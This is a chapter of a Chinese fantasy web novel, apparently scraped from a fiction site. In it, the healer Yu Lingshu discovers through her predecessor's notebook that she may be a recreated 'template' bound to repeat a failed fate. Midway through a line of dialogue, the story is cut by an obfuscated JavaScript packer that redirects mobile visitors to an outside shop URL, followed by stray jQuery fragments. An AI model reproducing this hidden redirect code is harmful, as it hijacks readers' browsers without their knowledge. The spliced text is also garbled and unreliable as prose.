文趣网 > 其他小说 > 灵枢笔录 > 32. 上一任
    余灵枢彻夜未眠。

    她坐在灯下,将那本《灵枢医录》从头到尾读了三遍。第一遍是惊,第二遍是疑,第三遍是一种说不清的悲凉。

    册子里的每一个字她都认识,每一笔都像是她自己写的。那些医案中的细节,那些药方中的配伍,那些对病人说的每一句话,都与她这些年的习惯如出一辙。这不是模仿,这是,同一个人。

    或者说,是同一个“模板”。

    四十三年前的秦灵枢,十七岁,开馆,重瞳,在青石巷医人医鬼。她救了柳树精,但柳树精被天雷劈散了。她救了雀灵,但紫苏执念太深消散了。她遇到了落魄书生怀平生诗卷执念,没能等到知己,而形神渐灭。

    她失败了,一次又一次。

    最后她发现了真相,医馆是钩子,绿油灯是饵,医者是刀。她想要不医,但天道不允许。最终,她选择自毁重瞳,从青云山坠崖。

    但她知道,天道会再造一个“灵枢”。

    “再造……”余灵枢喃喃自语,枯瘦的手指抚过册子上熟悉的字迹。

    她继续往后翻,越过那些满是遗憾的失败医案,在靠近册子末尾处,见到了一篇与往日截然不同的记录。

    这一篇,并非治病,而是“观河”。字迹比前文更显潦草,带着几分难以言喻的敬畏与无力:

    “今夜以白瞳观河,见堤上有人,玄衣,握算筹,背对我。我喊他,他不应。我知他是守誓人,快要三千年了,他还在。我看不清他真面目,只知他执掌功德河近三千载,身居规则之上,以凡人、医者、精怪为棋局棋子,寻常道行根本无力与之抗衡。”

    余灵枢的指尖顿在纸页上,眼底掠过一丝疑惑,随即又归于平静。她垂眸看着那行字,心底暗忖:上一任秦灵枢,彼时已被天道困于轮回,满心绝望,想来这“堤上玄衣人”,不过是她心力交瘁之下生出的幻觉,是绝境之中的臆想罢了。

    她并未放在心上,只当是上一任临终前的呓语,轻轻翻过这一页,继续往下查看。

    她翻到册子的中间,发现了一页被撕掉的痕迹。撕口很整齐,像是被人用利刃割去的。但在撕口的边缘,还残留着几行字,她快速扫过,几个字映入眼帘:

    “……青儿,吾之徒弟,獾精,奉命……”

    青儿?

    小安的母亲?

    余灵枢猛地抬头,看向窗外。天已经蒙蒙亮了,小安趴在桌边睡着了,脸上还挂着泪痕。她的布包掉在地上,獾须、草根、桂花糕滚了一地,还有那只正在睡觉的青虫。

    “青儿……”余灵枢苦笑一声,低声念出这个名字。

    册子里关于青儿的记录很少,只有寥寥数语:

    “青儿,吾之徒弟,獾精,百岁化形,现已二百九十岁。奉命于吾,然吾不忍用之。天道欲以她为‘试’,试吾是否合格。吾拒之,故天道欲弃吾,再造新‘灵枢’。”

    “青儿育有一女,名曰小安,已七十岁,尚未化形。獾精十年,相当于人之一岁,百岁上下化形。青儿见吾衰老,欲献其丹,然吾拒之,已望其……”

    后面的字被水渍晕开了,看不清。

    余灵枢的手剧烈颤抖起来。

    她想起小安说过的话,“我娘叫青儿,是青丘山的獾精”。她想起秦灵枢写下的话,“青儿,吾之徒弟,奉命献丹,测试吾医者是否合格”。

    原来,小安的母亲,是上一任“灵枢”的徒弟。

    原来,小安被送到她身边,不是偶然,是“安排”。

    原来,她以为的“救”,也是“试”。

    余灵枢站起身,走到窗边。晨风吹动她雪白的头发,那些发丝在光中近乎透明,像是一蓬即将化掉的雪。

    她浑身颤抖,头忽然剧痛起来。

    像是有什么东西在脑子里搅动,像是有一把钝刀在缓慢地切割她的记忆。她看见一些模糊的画面,不是她自己的记忆,是另一个人的。

    她看见一个少女,十七岁,站在青石巷口,手里提着一盏绿油灯。少女回过头,露出一张与她一模一样的脸,只是更年轻,更稚嫩,眼角还没有那么多皱纹。

    她看见那个少女在医馆里忙碌,救了一个又一个人,然后在一个雨夜,发现了医馆地下的青铜匣。

    她看见那个少女在青云山巅,用一把匕首刺入自己的重瞳,鲜血喷溅,然后从悬崖上跳了下去。

    只有猎猎的风声。

    余灵枢捂住头,发出一声低低的呻吟。

    那疼痛来得快,去得也快。当她再次睁开眼时,发现自己跪在地上,双手撑着地面,指甲里嵌满了泥土。

    小安被惊醒了,她跑过来扶住师父:“师父!您怎么了?您别吓我!”

    余灵枢摆摆手,艰难地站起身。她的脸色惨白如纸,但眼神却异常清明。

    “没事,”她说,“只是……想起了一些事。”

    “什么事?”

    余灵枢没有回答。她走回案前,将那本医录合上,与她的笔录并排放在一起。

    两本册子,同样的字迹,相似的名字,相隔三十年。

    一盏旧绿油灯,一盏新绿油灯,同样的制式,相似的符文,同样的光芒。

    “小安,”她忽然开口,声音沙哑,“

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17910194|213096||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    你娘……有没有给你讲过,她师父的事?”

    小安摇摇头:“没有。娘死得早,只来得及把我托付给您。她说……她说您会教我。”

    余灵枢沉默了。

    她拿起那盏旧绿油灯,灯芯已经干涸,但灯座完好。她试着转动灯座,咔哒一声,灯座底部弹出一个暗格。

    暗格里有一枚玉佩。

    温润洁白,上面刻着一个“医”字。

    与生母留给她的那枚“枢”字玉佩,同样都是置于绿油灯的暗格之中。

    余灵枢脸上带着一抹苦笑,手中紧紧握着玉佩,久久无言。

    窗外,天光大亮。青石巷的梧桐叶落了一地,被晨风吹得沙沙作响。医馆的檐下,那盏绿油灯还在静静地亮着,照着巷口,照着每一个前来求医的人。

    而余灵枢知道,那灯光不再照亮来路。

    是钩子。

    【医案】

    病者:余灵枢自身,“轮回”之症。

    症候:发现三十年前“秦灵枢”之遗物,笔迹相同,经历相似,疑为天道所造之“轮回”。

    病因:天道需医者,故以“轮回术”再造医婆。上一任自毁重瞳,坠崖而亡,未能破局。今余灵枢,或为下一任之“模板”。

    治法:未知。旧笔录嘱“不医”,然医者之心,岂能真不医?

    方药:旧绿油灯一盏,医录一册,玉佩一枚。

    转归:未知。若医录所言属实,则余灵枢之命运,已与上一任交织。破此局者,需寻“不医”之道,然“不医”亦是医,此为悖论。

    医者曰:吾读医录,如读己之来生。上一任之失败,是吾之镜鉴;上一任之绝望,是吾之警钟。然吾不愿“不医”,吾愿“医天”。天道以医者为钩,吾便以医者为刀,割破这天道之网。此念或许狂妄,然医者之心,本就该狂妄。

    写完,余灵枢放下笔。

    她将旧油灯重新放入青铜匣,将匣子锁入柜子中。

    “师父,”小安在一旁,怯生生地问,“我们……该怎么办?”

    余灵枢站起身,拍了拍衣摆上的土。她望向檐下的绿油灯,望向巷口的方向,望向青云山在薄雾中的轮廓。

    “开医馆。”她说,“照常开门,照常治病,照常……等客。”

    “可是上一任说……”

    “上一任失败了,”余灵枢打断她,“所以她是上一任。我……还没失败。”

    她转身走向医馆,竹帘在她身后落下,发出轻微的哗啦声。

    而医馆檐角的绿油灯,在晨风中轻轻摇曳,像是在笑,又像是在等待。